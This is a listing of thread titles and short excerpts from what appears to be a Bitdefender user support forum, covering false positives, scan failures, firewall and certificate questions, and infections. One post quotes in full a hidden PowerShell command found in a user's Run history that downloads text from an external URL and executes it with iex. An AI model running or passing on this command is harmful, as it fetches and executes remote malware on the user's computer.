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Bitdefender Internet Security possible FALSE POSITIVE?
HP ENVY x360 Convertable 13=bd0xxx Win 11 Home, Version 10.0.22631 Build 22631 x64-Based PC, 4Core 8 Logical Proc 16.0 GB ram Virus Total comes up with a single hit for Bitdefender Internet Security. The hit was initially revealed by Microsoft SysInternals Process Explorer as 1/72 and identified (online) by Antiy-AVL as…
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Vulnerability scan - 2 results instead of 1
Hi! This is my first post here. I came across a problem. I ran a test to find a vulnerability and the program returned information that two vulnerabilities were found but ultimately it only displayed one (no password to the computer). Now I noticed that I cut off the "networks" tab but believe me it was empty. What could…
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Upload file failed to NAS locally
Hi Team, I am uploading mkv file from my local laptop to my local NAS using FileZilla but everytime it got failed. It is uploading only like 20% and then failed. I tried also another app like WinSCP and it is the same issue. So I uninstalled Bitdefender and tried again the upload and it uploaded successfully. What will be…
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VBS Agent Trojan, VBS.Heur.Morpheus (and other viruses) on my Win 10 PC - help?
Greetings, I foolishly went through a bunch of 15+ year old cd-rom discs that had lots of family pictures - before throwing them out. Of course, one of them had a virus on it and now it/they are on my win10 PC. I Googled how to get rid of VBS Agent Trojan, then I downloaded the half-dozen programs to attempt to get rid of…
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Hello I cannot click into a link on an email as the link is grey. If anyone can help thanks
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Bitdefender still running programs.
Hello. I installed the Bitdefender installer a while back, but decided not go through with the install of Bitdefender (it wanted me to delete my existing anti-virus). I recently checked my Task Manager, and saw that some Bitdefender programs were running. I find this weird, since I never installed Bitdefender, and I…
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removing protection (completely) from a folder
I have two folders that have been wrongly identified as a threat and subsequently some of the files were removed and access is limited. I've restored most of the files but I can't access some of them even though they exist - it seems I have no permission to overwrite them. How do I completely isolate folders from bit…
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Bitdefender trying to modify my Acronis Backup Files
Bitdefender Total Security tries to modify my Acronis True Image 2019 (ATI) backup files on a removable drive. ATI flags this and gives me the choice to "Allow or Deny Bitdefender the privilege of modifying the ATI ".tib" backup files". I've denied it for now, but ATI keeps notifying me that "bdservicehost.exe cannot…
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quarantined items password protected
not sure to go on this topic?but i did a scan (bitdefender total security) on my old windows 10 ssd (D:\now external from my new ssd installed to the same laptop(C:\anyho and it pick up quarantined items with a password protected and in tried the passwords i knew to delete it didnt work so now its stuck in quarantine the…
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HTTP 403 error
I just recently converted from Kaspersky to Bit Defender and now I cannot access 247sports website. All Windows PCs have this problem but iPhone and iPad do not. I get a http 403 error indicating some certificate issue. Is bitdefender somehow blocking this website and if so, how do I prevent it?
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Daily Scans
I have scheduled a daily scan, which stopped 3 days ago. It's showing that it's scheduled but doesn't run, What's the problem?
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"Our systems have detected unusual traffic from your computer"
Bitdefender does not report I am infected why does this happen quite regularly
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Found a weird command in Run program
I just got out of bed and accidentally opened the Window + R command this is what I found COMMAND: powershell.exe -W Hidden -command $url = 'https://finalsteptogo.com/uploads/tr14.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text The link leads to this and another link…
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Once again, recurrent threat found
So, I've run Bitdefender in several modes and used other antivirus (adwcleaner, eset, malwarebytes) but I keep getting a warnings from Bitdefender abount finding threats in real time and stopping it
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Remote system scan?
Just what does the remote system scan do? And how long should it take. It's been about three hours now, and the only feedback I have gotten so far is "Processing your command ..." and a little spinning icon. Is anything actually going on?
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RAV antivirus, RAV VPN
My desktop PC was recently infected with a virus calling itself RAV antivirus and RAV VPN. Bit-defender didn't detect it even after I ran a boot scan. I'm pretty sure it was a virus because I could not remove it from my Windows 11 PC. It would let me go through the removal exercise but the RAV would come right back. I…
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Total Security - Scan Questions
I have a bunch of questions regarding Total Security scans. Support has been unable to help me with these so far, so I thought that I'd see if anyone here could help me. === Antivirus Menu Why do Quick Scan and System Scan show up twice? Is there anything that can't be done from the second appearance that can from the…
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Allowing app communication through ?Bit Defender firewall
I'm running Bit Defender internet security and was curious if I have certain apps that require communication with each other do I need to somehow allow the apps through a firewall or allow permissions like I do in Windows Defender or is this not required in Bit Defender also? Thanks Dave
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Security Certificate
I hope someone can help me remedy this issue. Do I need to locate and delete a certificate? If so I would appreciate help in doing that. I had Kaspersky antivirus installed on a computer, but I uninstalled it and purchased Bitdefender Total Security. In Bitdefender/Notifications/Critical I am getting this message……
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multiple connection errors trying to connect to scan32.com
Does anyone know what causes tis and how to stop it? chrome.exe attempted to establish a connection relying on an unmatching security certificate to scan32.com. We blocked the connection to keep your data safe since the used certificate was issued for a different web address than the targeted one.Add to exceptions
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Blank icon in taskbar
The issue: Instead of the bitdefender icon, I see a blank icon like the ones here https://i.sstatic.net/K5pOh.png Cause of the issue: Reinstalling malwarebytes. This happened after installing malwarebytes. Uninstalling and reinstalling bitdefender (which forced me to uninstall malwarebytes) temporarily fixed the issue. The…
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How can I tell if I have total protection or just virus protection?
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Bitdefender total security trey icon temporarily greys out on computer start up
I'm running Windows 10 and Bitdefender total security. I've noticed when I reboot or start up my computer the Bitdefender Icon in the system trey will temporarily grey out for 30 seconds or so. Is this an expected behavior? I've totally reinstalled the Bitdefender product twice now and it's made no difference! Once the…
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Why is BitDefender preventing some website icons from displaying correctly.
Starting a few weeks ago, graphics on multiple website are showing up incorrectly on my browsers. Not all websites but quite a few and it does not seem to matter if I add the website to the exception. I've also tried different browsers.
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Why is Cryptomining Detection a Separate Option?
Why is Cryptomining Detection a Separate Option in Bitdefender Total Security? Seems to me that should be automatically detected.
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I have bitdefender antivirus plus subscription -- does the other 2 devices include my phone
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Email protection disappeared?
Hi, i have Bitdefender Premium security plus. It has been monitoring 4 email accounts, 2 Gmail and 2 outlook. It has suddenly stopped monitoring all but 1 of them. (My main Gmail account). Support guides me to the app to fix the issue but I can't find the email option within it? I know it was there before! Can still see…
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Attack timeline involving compattelrunner
Hello, I am trying to understand this sequence of events from a "threat blocked on your device" due to real time protection: 1) 05:28 Wininit.exe executes services.exe 2) 05:31 services.exe executes svchost.exe 3) 5:40 svchost.exe executes compattelrunner.exe 4) 5:41 (more than a minute later) a FreeFileSync file get…
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'new device discovered' - *what* new device??
i keep getting new device discovered pop-ups, with no information on exactly what device is now considered new [p.s. - i have attached no new devices…]. Some information pointing to what the software is talking about would be very helpful. I've checked what little information is available.
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What does the triangle in the system tray icon mean?
A little triangle has recently appeared in the bottom right corner of the Bitdefender icon in my system tray. What does this represent? The manual seems to suggest this is the default icon shown when everything in okay, but I've been running Bitdefender for about five weeks (30 day trial, then I subscribed about a week…